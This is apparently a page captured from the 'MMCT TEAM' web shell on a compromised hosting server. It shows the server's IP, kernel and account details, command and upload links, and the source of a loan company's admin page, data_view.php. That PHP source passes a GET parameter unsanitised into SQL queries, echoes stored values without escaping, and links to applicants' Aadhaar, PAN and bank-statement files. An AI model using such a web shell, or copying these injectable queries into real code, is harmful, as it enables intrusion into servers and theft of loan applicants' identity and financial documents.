MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/moryanew/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/moryanew/Admin/data_view.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("Includes/db.php");

$bid  = $_GET['id'];
$type  = $_GET['type'];

  $sql = "select * from tbl_apply where id='$bid'";
  $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
  $sql_row = mysqli_fetch_assoc($sql_res);
  $fe_img = $sql_row['addhar'];
  $fe_img1 = $sql_row['pan'];
  $fe_img2 = $sql_row['aproof'];
  $fe_img3 = $sql_row['3_m_s_slip'];
  $fe_img4 = $sql_row['l6_bank_stat'];
  $fe_img5 = $sql_row['2y_form_16'];
  $fe_img6 = $sql_row['id_card'];
  $fe_img7 = $sql_row['photo'];
  $fe_img8 = $sql_row['property_paper'];
  $fe_img9 = $sql_row['chaque_photo'];
  $fe_img10 = $sql_row['3y_itr'];
  
  $fe_img11 = $sql_row['1y_bank_stat'];
  $fe_img12= $sql_row['gst_reg'];
  $fe_img13= $sql_row['gst_ret'];
  $fe_img14 = $sql_row['business_proof'];
  $fe_img15 = $sql_row['owner_prrof'];
  
  $fe_img16 = $sql_row['pre_card'];

  
  


  
$cid = $sql_row['loan_type'];

                                                	$sqls = "select * from tbl_categories where id='$cid' ";
                                                $sql_ress = mysqli_query($con, $sqls) or die(mysqli_error($con));
                                                $sql_rows = mysqli_fetch_assoc($sql_ress);
                                                $cname = $sql_rows['name'];
      
?>

<!doctype html>
<html lang="en">
<head>
        
     <?php include 'Includes/head.php'; ?>

    </head>

    <body data-sidebar="dark">

    <!-- <body data-layout="horizontal" data-topbar="dark"> -->

        <!-- Begin page -->
        <div id="layout-wrapper">

            
            <?php include 'Includes/header.php'; ?>

            <!-- ========== Left Sidebar Start ========== -->
            <div class="vertical-menu">

                <div data-simplebar class="h-100">

                    <!--- Sidemenu -->
                   <?php include 'Includes/sidebar.php'; ?>
                    <!-- Sidebar -->
                </div>
            </div>
            <!-- Left Sidebar End -->

            

            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->
            <div class="main-content">

                <div class="page-content">
                    <div class="container-fluid">

                        <!-- start page title -->
                        <div class="row">
                            <div class="col-12">
                                <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                    <h4 class="mb-sm-0 font-size-18"> Details</h4>

                                  

                                </div>
                            </div>
                        </div>
                        <!-- end page title -->

                       <div class="row">
                    
                        <div class="card">
                            <div class="card-body">
                                <h4 class="card-title"></h4>
                               
                                <form class="needs-validation" method="POST" action="action/edit_details.php?id=<?php echo $bid; ?>" enctype="multipart/form-data">
                                    <div class="row">
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Category </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_rows['name']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Type </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['type']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> First Name  </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['fname']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Last Name </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['lname']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Email </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['email']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Phone number </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['mobile']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                           <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Date Of Birth </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['dob']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                         <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> city </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['city']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <?php if($type == 'Self-Employed') 
                                        { ?>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Avarage Annual Profit (as per ITR): </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['a_anual_profit']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <?php } ?>
                                        
                                        <?php if($type == 'Salaried') 
                                        { ?>
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Net Monthly Income </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['monthly_inc']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        
                                        <div class="col-md-6">
                                        <div class="mb-3">
                                            <label for="validationCustom01" class="form-label"> Salary Mode </label>
                                             <input type="text"  class="form-control "  name="name" id="name"  value="<?php echo $sql_row['salary_mode']; ?>">
                                                
                                                
                                            </div>
                                        </div>
                                        <?php } ?>
                                        
                                        <div class="col-md-12">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> Obligation </label>
                                                <textarea class="form-control "  name="desc" id="desc" ><?php echo $sql_row['ob']; ?></textarea>
                                                
                                                
                                            </div>
                                        </div>


                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">addhar card Image</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                               <a href="../loan_document/<?php echo $fe_img; ?>"><?php echo $fe_img; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> pan card Image</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img1; ?>"><?php echo $fe_img1; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img1; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> ADDRESS PROOF</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img2; ?>"><?php echo $fe_img2; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img2; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        <?php
                                         if($cname == 'Home loan')
                                         {
                                         ?>
                                        
                                         
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> 3 MONTH SALARY SLIP</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img3; ?>"><?php echo $fe_img3; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img3; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">LAST 6 MONTH BANK STATEMENT</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img4; ?>"><?php echo $fe_img4; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img4; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">2 YEARS FORM 16</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img5; ?>"><?php echo $fe_img5; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img5; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">OFFICE ID CARD</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img6; ?>"><?php echo $fe_img6; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img6; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PHOTO</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img7; ?>"><?php echo $fe_img7; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img7; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PROPERTY PAPER /ALLOTMENT LATTER COPY</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img8; ?>"><?php echo $fe_img8; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img8; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                  <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">1 CHAQUE 6K( FOR LEGAL VALUTION)</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img9; ?>"><?php echo $fe_img9; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img9; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                        
                                        <?php } elseif($cname == 'Business Loan') { ?>

                                       <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">3 YEAR ITR WITH FINANCIAL</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img10; ?>"><?php echo $fe_img10; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img10; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">LAST 1 YEARS BANK STATEMENT OF ALL ACCOUNT</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img11; ?>"><?php echo $fe_img11; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img11; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">GST REGISTRATION</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img12; ?>"><?php echo $fe_img12; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img12; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">GST RETURN LAST 1YEAR 3B GSTR</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img13; ?>"><?php echo $fe_img13; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img13; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">3 YEAR OLD BUSINESS PROOF REQ</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img14; ?>"><?php echo $fe_img14; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img14; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">OWNERSHIP PROOF </label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img15; ?>"><?php echo $fe_img15; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img15; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                
                                             <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PHOTO</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img7; ?>"><?php echo $fe_img7; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img7; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                        
                                        <?php } elseif($cname == 'Credit Card') { ?>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> 3 MONTH SALARY SLIP</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img3; ?>"><?php echo $fe_img3; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img3; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">LAST 6 MONTH BANK STATEMENT</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img4; ?>"><?php echo $fe_img4; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img4; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">2 YEARS FORM 16</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img5; ?>"><?php echo $fe_img5; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img5; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">OFFICE ID CARD</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img6; ?>"><?php echo $fe_img6; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img6; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PHOTO</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img7; ?>"><?php echo $fe_img7; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img7; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>

                                        <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PERVIOUS CARD</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img16; ?>"><?php echo $fe_img16; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img16; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                        
                                        <?php } elseif($cname == 'Personal Loan') { ?>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label"> 3 MONTH SALARY SLIP</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img3; ?>"><?php echo $fe_img3; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img3; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                
                                        </div>
                                        
                                         <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">LAST 6 MONTH BANK STATEMENT</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img4; ?>"><?php echo $fe_img4; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img4; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">2 YEARS FORM 16</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img5; ?>"><?php echo $fe_img5; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img5; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                 <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">OFFICE ID CARD</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img6; ?>"><?php echo $fe_img6; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img6; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>
                                                
                                                <div class="col-md-6">
                                            <div class="mb-3">
                                                <label for="validationCustom01" class="form-label">PHOTO</label>
                                               <input type="file" name="do_photo" class="form-control "  id="images" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*">
                                                <a href="../loan_document/<?php echo $fe_img7; ?>"><?php echo $fe_img7; ?></a>
                                               <br>
                                        <img id="thumb" src="../loan_document/<?php echo $fe_img7; ?>" alt=""  style="width: 100px;height: 100px;">
                                        <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">
                                         Please upload file having extensions .jpeg / .jpg / .png only.</div>
                                                </div>
                                                </div>

                                        <?php } ?>
                                    </div>


                                   



                                        
                                    </div>

                                    </div>

                                    

                                    
                                    
                                   
                                    
                                  
                                     
                                        
                                    </div>

                                  
           
                                    
                                    <div>
                                        <!--<button class="btn btn-primary" type="submit">Submit </button>-->
                                    </div>
                                </form>
                            </div>
                        </div>
                        <!-- end card -->
                     <!-- end col -->

                   
                </div>
                        <!-- end row -->

                       
                        <!-- end row -->

                       
                        <!-- end row -->
                    </div>
                    <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

                

                <footer class="footer">
                     <?php include 'Includes/footer.php'; ?>
                </footer>
            </div>
            <!-- end main content-->

        </div>
        <!-- END layout-wrapper -->

        <!-- Right Sidebar -->
        
        <!-- /Right-bar -->

        <!-- Right bar overlay-->
        <div class="rightbar-overlay"></div>

     
        <?php include 'Includes/bscript.php'; ?>
    </body>
   
</html>

MMCT - 2023